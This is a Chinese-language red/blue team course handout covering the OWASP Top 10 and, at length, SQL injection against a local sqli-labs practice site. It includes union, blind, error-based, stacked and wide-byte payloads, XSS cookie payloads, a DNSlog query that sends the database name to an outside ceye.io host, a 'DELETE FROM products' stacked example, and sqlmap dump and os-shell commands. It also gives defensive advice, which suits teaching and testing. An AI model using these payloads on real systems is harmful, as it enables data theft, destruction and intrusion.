前言
红蓝对抗的概念最早来源于20世纪60年代的美国演习,演习是专指军队进行大规模的实兵演习,演习中通常分为红军、蓝军,其中蓝军通常是指在部队模拟对抗演习专门扮演假想敌的部队,与红军(代表我方正面部队)进行针对性的训练,这种方式也被称作Red Teaming。
网络安全红蓝对抗的概念就源自于此。红军作为企业防守方,通过安全加固、攻击监测、应急处置等手段来保障企业安全。而蓝军作为攻击方,以发现安全漏洞,获取业务权限或数据为目标,利用各种攻击手段,试图绕过红军层层防护,达成既定目标。可能会造成混淆的是,在欧美一般采用红队代表攻击方,蓝队代表防守方,颜色代表正好相反。
本课程指导思想:遵循教育教学基本规律,深入挖掘本课程蕴含在专业知识中的德育元素,自觉地把学生的专业知识、人文和思政素质恰当融合,实现思政教育与专业教育的协同效应,知识传授、能力培养与价值引领的有机统一,提高课堂教学质量,提升育人成效。
基本原则:(1)紧扣“立德树人”,落实思想政治工作贯穿教育教学全过程的要求,实现全员育人、全过程育人、全方位育人;(2)结合专业、学科、课程实际,优化课程教学目标定位,挖掘提炼课程的思政要素,完善课程教学内容,选择多种教学方法和手段,提高课程育人的针对性和有效性;(3)创新教学模式,激发学习活力。倡导探究式、项目驱动、任务导向等教学方法,鼓励充分体现“互联网+”背景下的信息化教学模式创新,以培养学生的自主学习能力和探究意识,提升学生的综合素养、实践创新能力和职业发展能力;(4)注重形成性评价,强化学业考核。课程应采用“N+1”形式进行考核。
课程思政:在教学过程中,重点培育学生求真务实、实践创新、精益求精的精神,培养学生踏实严谨、吃苦耐劳、追求卓越等优秀品质,使学生成长为心系社会并有时代担当的技术性人才。
第1章红蓝对抗-漏洞篇
1.1 什么是红蓝对抗
什么是红蓝对抗
在军事领域,演习是专指军队进行大规模的实兵演习,演习中通常分为红军、蓝军,演习多以红军守、蓝军进攻为主。类似于军事领域的红蓝军对抗,网络安全中,红蓝军对抗则是一方扮演黑客(蓝军),一方扮演防御者(红军)。在国外的话,进行渗透攻击的团队经常称做红队,在国内称为蓝军实际上应该是比较准确的叫法。
红蓝对抗的目的
安全是一个整体,正如木桶定律,最短的木板是评估木桶品质的标准,安全最薄弱环节也是决定系统好坏的关键。而网络红蓝军对抗的目的就是用来评估企业安全性,有助于找出企业安全中最脆弱的环节,提升企业安全能力的建设。
红蓝对抗关注点
1. 外网web安全
2. 办公网安全
3. IDC主机安全
4. DB专项
这边web安全的关注点会不同于渗透测试的团队,例如红蓝团队就会关注一些敏感文件泄漏、管理后台暴露、waf有效性、waf防御效果、违规使用的框架等。再例如办公网安全红蓝团队还会关注安全助手的一些问题,也就是说红蓝团队关注的不仅是应用服务的漏洞,各个安全组件的效果、漏洞都会关注到。
上面都是按照一个个大项来进行,其实还有的红蓝团队是按项目来分,比如说xx支付业务红蓝对抗,给你域名或者ip,让你自由发挥,不限方法拿到目标flag(例如xx支付的数据或者机器权限等),这个过程不要求测的全,以结果为导向。然后红队(防御方)尽可能复盘补漏,把不完善的地方都补齐。后面可以继续进行对抗演练,继续找出薄弱点,这边很考验红队的技术和业务的了解程度,能从蓝队的攻击链路中,找出尽可能多的脆弱点,做出防御策略。所以,我觉得红蓝对抗还是得根据公司的规模、安全人员的比例、技术人员的素养做制定,都按同一套标准是不会适用所有公司的。我的建议就是中小规模公司的红蓝对抗点尽可能覆盖全,尽可能找出全量的脆弱点让红队的人员进行修复后进行新一轮对抗。而大公司就可以不用考虑面面俱到,以夺取目标结果为导向,脆弱点由红队自己发现,红队自己修复,而后周期的进行红蓝对抗。
红蓝对抗测试的方法
1. 按专项测试
2. 每个专项包含很多点,按点排期测试
3. 报告撰写,漏洞闭环
4. 例行扫描
5. 持续跟进,复盘测试
红蓝对抗注意事项
1. 测试前提前报备
2. 有可能会影响到业务的操作时候务必提前沟通
3. 漏洞的确认按照公司的规范制度制定
4. 漏洞和业务沟通确认后再发工单修复
5. 漏洞闭环
红蓝对抗所需技术
红蓝对抗不同于渗透测试,红蓝对抗测试的范围很广泛,不仅需要渗透技术,还需要逆向、脚本编程、各种绕过黑魔法等。所以,红蓝对抗不仅需要渗透测试的人才,也需要逆向的工程师,甚至是区块链安全工程师、数据安全方向的工程师等,所以说其实在大公司更容易开展红蓝对抗,因为大公司人才更加齐全。红蓝对抗也需要团队的协作,一个人是比较难完成的,更好的方式,不同的团队进行红蓝对抗,每个团队攻击的方法思路也不尽相同,更能模拟真实的场景攻击,对于红队查缺补漏也更有帮助。
1.2 什么是OWASP TOP10
OWASP(开放式Web应用程序安全项目)是一个开放的社区,由非营利组织 OWASP基金会支持的项目。对所有致力于改进应用程序安全的人士开放,旨在提高对应用程序安全性的认识。
其最具权威的就是"10项最严重的Web 应用程序安全风险列表" ,总结并更新Web应用程序中最可能、最常见、最危险的十大漏洞,是开发
注入漏洞 攻击方式 利用应用程序弱点,通过恶意字符将恶意代码写入数据库,获取敏感数据或进一步在服务器执行命令。 漏洞原因 未审计的数据输入框 使用网址直接传递变量 未过滤的特殊字符 SQL 错误回显 漏洞影响 获取敏感数据或进一步在服务器执行命令接管服务器 SQL 注入 其实注入有很多类型,常见的注入包括:SQL、OS 命令、ORM、LDAP和表达式语言或者 OGNL 注入,对于应用解释器来说这些概念都是相同的。对于最常见的SQL注入,后端开发人员经常会拼接 SQL 查询;在不经意间就引入了 SQL 注入漏洞。 一个例子 select * from users where pwd='输入字符' -- 恶意代绕过 ' or 1=1 --' select * from uses where pwd = '' or 1=1 --' SQL 注入工具 作为最强大的 SQL 注入工具,这里要介绍下基于 python开发的 SQLmap,SQLmap 支持对 PostgreSql,MySQL,Access,MsSql Server 等数据库的自动化注入。是在检查SQL注入漏洞方面最得力的工具。 SQL 注入防护 关闭 SQL 错误回显 前端输入字符白名单验证(长度、类型等) 对输入的特殊字符使用转义处理 SQL 操作使用 PreParedStatement SQL 服务运行于专门的账号,并且使用最小权限 限制 SQL 服务的远程访问,只开放给特定开发人员 代码审计,最有效的检测应用程序的注入风险的方法之一 使用成熟的 waf
失效的身份认证 攻击方式 攻击者利用网站应用程序中的身份认证缺陷获取高权限并进行攻击应用服务 漏洞原因 应用程序身份认证系统认证缺陷 漏洞影响 盗用账号与身份 常见设计缺陷 修改利用网络协议数据包获取使用者账号密码 网站设计不良,可直接绕过验证页面 使用者忘记注销,而让攻击者有可趁之机 弱密码 弱密码攻击 身份认证非常容易受到弱密码攻击,常用的弱密码攻击方式有 常用密码攻击 - 使用泄露的密码字典攻击 使用公司名称缩写、域名、电话号码 全数字、英文的简单密码 账号与密码相同的 不同网站、电脑、APP 使用了相同的密码 漏洞防护 网站的登录页面就使用加密连接 网站应该具体良好的权限控制与管理 网站应该具备超时注销机制
敏感数据泄露 攻击方式 常见的攻击方式主要是扫描应用程序获取到敏感数据 漏洞原因 应用维护或者开发人员无意间上传敏感数据,如 github 文件泄露 敏感数据文件的权限设置错误,如网站目录下的数据库备份文件泄露 网络协议、算法本身的弱点,如 telent、ftp、md5 等 漏洞影响 应用程序、网站被修改 个人资料、公司资料泄露,被用于售卖获利 漏洞防护 对于 github 泄露,定期对仓库扫描 对于应用网站目录定期扫描 使用强壮的网络协议与算法
XML 外部实体漏洞 攻击方式 当应用程序解析 XML文件时包含了对外部实体的引用,攻击者传递恶意包含 XML 代码的文件,读取指定的服务器资源。 漏洞原因 XML 协议文档本身的设计特性,可以引入外部的资源;定义 XML 文件时使用的外部实体引入功能 漏洞影响 读取服务器敏感资料,如、/etc/password 读取应用程序源码 漏洞防护 关闭 DTD (Data Type Definition) 禁止外部实体引入
无效的访问控制 攻击方式 没有检查身份,直接导致攻击者绕过权限直接访问 漏洞原因 漏洞影响 绕过路径,如未读取的参数做检查,导致路径绕过读取到敏感文件 权限提升,如未对权限做检查,导致攻击者变更权限 垂直越权,攻击者可以从普通的用户权限提升到管理员的权限访问应用程序 水平越权,攻击者可以从普通用户A的权限提升到普通用户B的权限访问应用程序 漏洞防护 对参数的白名单过滤 对权限的控制管理重新设计与限制 限制下载文件的类型
安全配置错误 攻击方式 攻击者利用错误配置攻击,获取敏感数据或者提升权限 漏洞原因 开发或者维护人员设置了错误的配置,如 python 开发中对于 Django 框架在生产环境启用了 Debug 模式 漏洞影响 可让攻击者获取到敏感数据 可让攻击者提升权限,如未修改应用程序配置的默认密码,未删除应用程序安装程序目录文件等
目录遍历 检查文件扩展名 重命名上传文件 控制上传文件的权限,如关闭执行权限 移除不使用的页面,如安装目录文件 移除临时文件、备份文件 不使用简单的命名规则,防止猜测 定义白名单
跨站脚本攻击 攻击方式 攻击者使用恶意字符嵌入应用程序代码中并运行,盗取应用程序数据 常见攻击 payload ><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> "><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script> <imgsrc="javascript:alert('XSS')"> <imgsrc="http://888.888.com/999.png"onerror="alert('XSS')"><divstyle="height:expression(alert('XSS'),1)"></div>(这个仅于IE7(含)之前有效) 漏洞原因 应用程序未对应用输入做过滤与检查,导致用户数据被当作代码执行。 漏洞影响 欺骗使用者点击嵌入了恶意网站的正常网站,获取使用得的敏感数据 盗取使用者 cookie,冒用使用者身份 漏洞防护 验证输入/接收的字符,过滤或者替换非法字符 使用白名单机制
不安全的反序列化漏洞 攻击方式 攻击者利用应用程序反序列化功能,反序列化恶意对象攻击应用程序。 漏洞原因 应用程序在反序列化数据对象时,执行了攻击者传递的恶意数据对象 漏洞影响 最严重情况下,可导致远程代码执行 RCE 注入攻击 越权 漏洞防护 对数据对象签名,并作完整检查 数据对象中的数据做严格的类型检查,限制一部分恶意攻击 隔离反序列化操作环境 使用含有已知漏洞的组件 攻击方式 利用应用程序技术栈中的框架、库、工具等的已知漏洞进行攻击,获取高权限或者敏感数据 漏洞原因 应用程序技术栈中使用的框架、库、工具爆出了漏洞,应用程序未能及时更新与修复 漏洞影响 敏感数据泄露 提升权限 远程代码执行 漏洞防护 及时更新、修复组件漏洞 移除不再使用的依赖组件
1.3 SQL注入漏洞
简介
SQL注入是一种Web应用代码中的漏洞。
黑客可以构造特殊请求,使Web应用执行带有附加条件的SQL语句
用户请求中带有参数的值,没有进行任何过滤
用户请求中带有参数的值,没有进行任何转码
通过特殊的请求,Web应用向数据库访问时会附带其它命令:
任意查询命令 创建数据库/表 更新数据库/表内容 更改用户权限 删除数据/表/数据库 执行系统命令
影响
可读取/修改数据库中的库和表 获取用户的账号,密码(可能被加密过),邮箱,联系方式 信用卡信息 修改产品价格 删除数据 可执行系统命令 修改权限,获取系统管理员权限 修改任意文件 安装后门
原理
所谓SQL注入,是指web应用程序对用户输入数据的合理性没有明确判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询具体来说,它是利用现有应用程序,将SQL语句注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据,而不是按照设计者意图去执行SQL语句。
常用MySQL数据库函数
system_user() 系统用户名 user() 用户名 current_user 当前用户名 session_user() 连接数据库的用户名 database() 数据库名 version() MYSQL数据库版本 load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数 @@datadir 读取数据库路径 @@basedir MYSQL 安装路径 @@version_compile_os 操作系统
常规语句
1' and 1=1; # , 1' and 1=1; # 判断是否可以被注入 1' or 1=1; # 来尝试获取全部账号信息 1' union all select 1, 2; # 来判断可以获取的参数个数 1' union all select 1,(@@version); #来获取数据库版本 1' union all select 1,(database()); #获取数据库名称 1' union all select 1, group_concat(column_name) frominformation_schema.columns where table_name='users' ; #获取表所有列名
种类
union注入 Boolean注入 报错注入 时间注入 堆叠注入 二次注入 宽字节注入 cookie注入 base64注入 XFF注入 eg: $sql = "select * from users where id =$_GET['id']"; # 当id= 1' select * from users where id = 1' # 当id= 1 and 1=1 select * from users where id = 1 and 1=1 在mysql 5.0 之后数据库中存放一个特殊的库information_schema 其中记住该库中三个特殊的表 SCHEMATA TABLES COLUMNS SCHEMATA 表格存储了用户创建的所有数据库的库名 TABLES 存储用户创建的所有数据库的库名和表名 COLUMNS 存储用户创建的所有数据库的库名,表名,字段名 # 当不知道任何条件时 select 需要查询的字段名 from 库名.表名; # 在知道已知条件下 select 需要查询的字段名 from 库名.表名 where 已知的字段='已知条件的值'; # 在知道两条已知条件 select 需要查询的字段名 from 库名.表名 where 已知的字段1='已知条件的值1' and 已知的字段2='已知条件的值2'; limit 用法 # 用法 limit m,n m 记录开始的位置 n 取n条记录 例如 limit 0,1 从第一条记录开始取一条记录 order by 查看字段数
union注入
# 看下第一关的sql源码 $sql="SELECT * FROM users WHERE id='$id' LIMIT0,1"; http://127.0.0.1/sqllab/Less-1/?id=1' order by 4 --+ SELECT * FROM users WHERE id='1' order by 4 --+'LIMIT 0,1 # 输入3 再去判断 一半使用二分法进行判断字段数 SELECT * FROM users WHERE id='1' order by 3 --+'LIMIT 0,1 union 联合注入 # 把id值改为负数使where后面条件不成立进而执行select语句 http://127.0.0.1/sqllab/Less-1/?id=-1' union select1,2,3 --+ # 数据库信息 http://127.0.0.1/sqllab/Less-1/?id=-1' union select1,database(),version() --+ # 获取数据库名称后利用information_schema获取表名 http://127.0.0.1/sqllab/Less-1/?id=-1' union select1,(select table_name from information_schema.tables wheretable_schema='security' limit 0,1),3 --+ # 获取第二个表名 http://127.0.0.1/sqllab/Less-1/?id=-1' union select1,(select table_name from information_schema.tables wheretable_schema='security' limit 1,1),3 --+ 知道了库名,表名,字段名就可以构造SQL语句进行查询数据了 http://127.0.0.1/sqllab/Less-1/?id=-1' union select1,(select email_id from security.emails limit 0,1),3 --+
Boolean注入
基于布尔的SQL盲注-逻辑判断 regexp,like,ascii,left,ord,mid 基于时间的SQL盲注-延时判断 if,sleep 基于报错的SQL盲注-报错回显 floor,updatexml,extractvalue 参考: like 'ro%' #判断ro或ro...是否成立 regexp '^x[a-z]' #匹配xiaodi及xiaodi...等 if(条件,5,0) #条件成立返回5 反之返回0 sleep(5) #SQL语句延时执行5秒 mid(a,b,c) #从位置b开始,截取a字符串的c位 substr(a,b,c) #从b位置开始,截取字符串a的c长度 left(database(),1),database()#left(a,b)从左侧截取a的前b位 length(database())=8 #判断数据库database()名的长度 ord=ascii(x)=97 #判断x的ascii码是否等于97 select 查询数据 在网站应用中进行数据显示查询操作 例:select * from news where id=$id insert 插入数据 在网站应用中进行用户注册添加等操作 例:insert into news(id,url,text)values(2,'x','$t') 1' and UpdateXML(1,concat('~',database()),1))# delete 删除数据 后台管理里面删除文章删除用户等操作 例:delete from news where id=$id 1' and UpdateXML(1,concat('~',database()),1))# update 更新数据 会员或后台中心数据同步或缓存等操作 例:update user set pwd='$p' where id=2 andusername='admin' 1' and UpdateXML(1,concat('~',database()),1))#
延迟盲注
// 如果数据库字符对应ASCII 编码的115 睡眠5秒否则输出1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ // 延迟注入 http://127.0.0.1/sqllib/Less-5/?id=1'andIf(ascii(substr(database(),1,1))=115,1,sleep(5))--+ # 利用 left(database(),1) 尝试查看版本信息判断数据库版本是否为5 http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23 # 使用时间盲注判断库名是否为s http://127.0.0.1/sqli/Less-10/?id=1" andif(substr(database(),1,1)='s',sleep(5),1)--+ 报错注入 直接将返回的结果返回给我们,此处可以利用报错注入获取信息。报错注入有多种方式 以下使用updatexml() 获取信息 http://127.0.0.1/sqli/Less-5/?id=1'and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+ # 获取当前数据库 http://127.0.0.1/sqli/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
堆叠查询注入
堆叠注入:从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行
在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如以下这个例子
用户输入:1; DELETE FROM products 服务器端生成的 sql 语句为:(因未对输入的参数进行过滤) Select * from products where productid=1;DELETE FROMproducts 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。 # 新建一个表 select * from student where id=1;create table testlike users; # 删除上面新建的 test 表 select * from users where id=1;drop table test; http://127.0.0.1/sqli/Less-38/?id=1';insert intousers(id,username,password) values ('38','less38','hello')--+ 42 username: admin password: a';insert into users(id,username,password)values ('44','less44','hello')#
cookie注入
顾名思义:抓包 cookie存放在数据库中,过滤不严谨 存在注入点
比如 cookie:PHPSEEION-FFOEWFOWJNFJ cookie:a' or 1=1#
xff注入
顾名思义:抓包 xff存放在数据库中,过滤不严谨 存在注入点
agent注入
顾名思义:抓包 ua存放在数据库中,过滤不严谨 存在注入点
base64注入
顾名思义:后端对传入的数据 进行base64加密 构造sql 在加密
JSON 注入
JSON(JavaScript Object Notation, JS 对象简谱) 是一种轻量级的数据交换格式。它基于 ECMAScript (欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。
json语法 数据在名称/值对中 数据由逗号分隔 大括号保存对象 中括号保存数组 http://127.0.0.1/json.php json={"username":"root"} json={"username":"root ' and 1=2 unionselect 1,user()#"}
二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
24
首先使用admin/admin用户登录 登录成功会提示更改密码,退出登录重新创建一个用户 用户名admin'# 密码123 然后使用 admin’# 用户登录进来修改密码 登录admin'# 修改密码反而admin的密码改变了
宽字节注入
宽字节的注入条件
数据库编码设置成GBK系列
使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。
URL转码 空格 %20 ' %27 # %23 \ %5C
1%df' or 1 通过php转码 mysql转码得到一个汉字' 从而达到过滤的效果 %df' =====>php(check_addsiashes) ======>%df%5C%27 ======>MySQL(GBK) ======> 運' %df' union select user(),database()#
DNSlog注入
dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
dns带外查询属于MySQL注入,在MySQL中有个系统属性
securefilepriv特性,有三种状态 1. secure_file_priv为null 表示不允许导入导出 2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹 3. secure_file_priv没有设置时,则表示没有任何限制
可了解一下load_file和outfile
LOAD_FILE()函数
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
语法为:loadfile(filename),其中file_name是文件的完整路径
此函数使用需要满足的条件
文件必须位于服务器主机上
你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关
文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节
select load_file('\\\\requests.mvkn4u.ceye.io\\abc'); payload: http://127.0.0.1/sqli/Less-2/?id=-1 andif((select load_file(concat('\\\\',(selectdatabase()),'.mvkn4u.ceye.io\\abc'))),1,0)--+
修复预防
1、所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。 2、对进入数据库的特殊字符(’"\尖括号&*;等)进行转义处理,或编码转换。 3、严格限制变量类型,比如整型变量就采用intval()函数过滤,数据库中的存储字段必须对应为int型。 4、数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。 5、网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。 6、严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。 7、避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。 8、在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞。
SQLMAP注入神器
参数
-u 指定目标URL (可以是http协议也可以是https协议) -d 连接数据库 --dbs 列出所有的数据库 --current-db 列出当前数据库 --tables 列出当前的表 --columns 列出当前的列 -D 选择使用哪个数据库 -T 选择使用哪个表 -C 选择使用哪个列 --dump 获取字段中的数据 --batch 自动选择yes --smart 启发式快速判断,节约浪费时间 --forms 尝试使用post注入 -r 加载文件中的HTTP请求(本地保存的请求包txt文件) -l 加载文件中的HTTP请求(本地保存的请求包日志文件) -g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试 -o 开启所有默认性能优化 --tamper 调用脚本进行注入 -v 指定sqlmap的回显等级 --delay 设置多久访问一次 --os-shell 获取主机shell,一般不太好用,因为没权限 --os-cmd 执行命令 -m 批量操作 -c 指定配置文件,会按照该配置文件执行动作 -data data指定的数据会当做post数据提交 -timeout 设定超时时间 -level 设置注入探测等级 --risk 风险等级 --identify-waf 检测防火墙类型 --param-del="分割符" 设置参数的分割符 --skip-urlencode 不进行url编码 --keep-alive 设置持久连接,加快探测速度 --null-connection 检索没有body响应的内容,多用于盲注 --thread 最大为10 设置多线程 get型 sqlmap -uhttp://127.0.0.1/sqli-labs-master/Less-1/?id=1 post型 sqlmap -r "1.txt" 获取当前数据库名称 sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1"--current-db 获取指定数据库的表名 sqlmap -u"127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables 获取指定数据库指定表中的字段 sqlmap -u"127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users--columns 获取指定数据库指定表的指定字段的字段内容 sqlmap -u"127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -Cpassword --dump sqlmap -r ["请求头文本"] //测试是否存在注入 sqlmap -r ["请求头文本"]--current-db //查询当前数据库 sqlmap -r ["请求头文本"] -D["数据库名"] --tables //查询当前数据库的所有表 sqlmap -r ["请求头文本"] -D["数据库名"] -T ["表名"] --columns//查询指定库指定表的所有列 sqlmap -r ["请求头文本"] -D["数据库名"] -T ["表名"] -C["列名"] --dump //打印出指定库指定表指定列的所有字段内容 Header注入 sqlmap 在对user-agent 注入的时候,得在文件中的user-agent的参数后面加上 * 或者 -level 3 cookie注入 sqlmap -u"http://127.0.0.1/sqli-labs-master/Less-20/index.php" --cookie"pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;"--level 2
由于内容太多了,需要的小伙伴进群领取哦,备注进群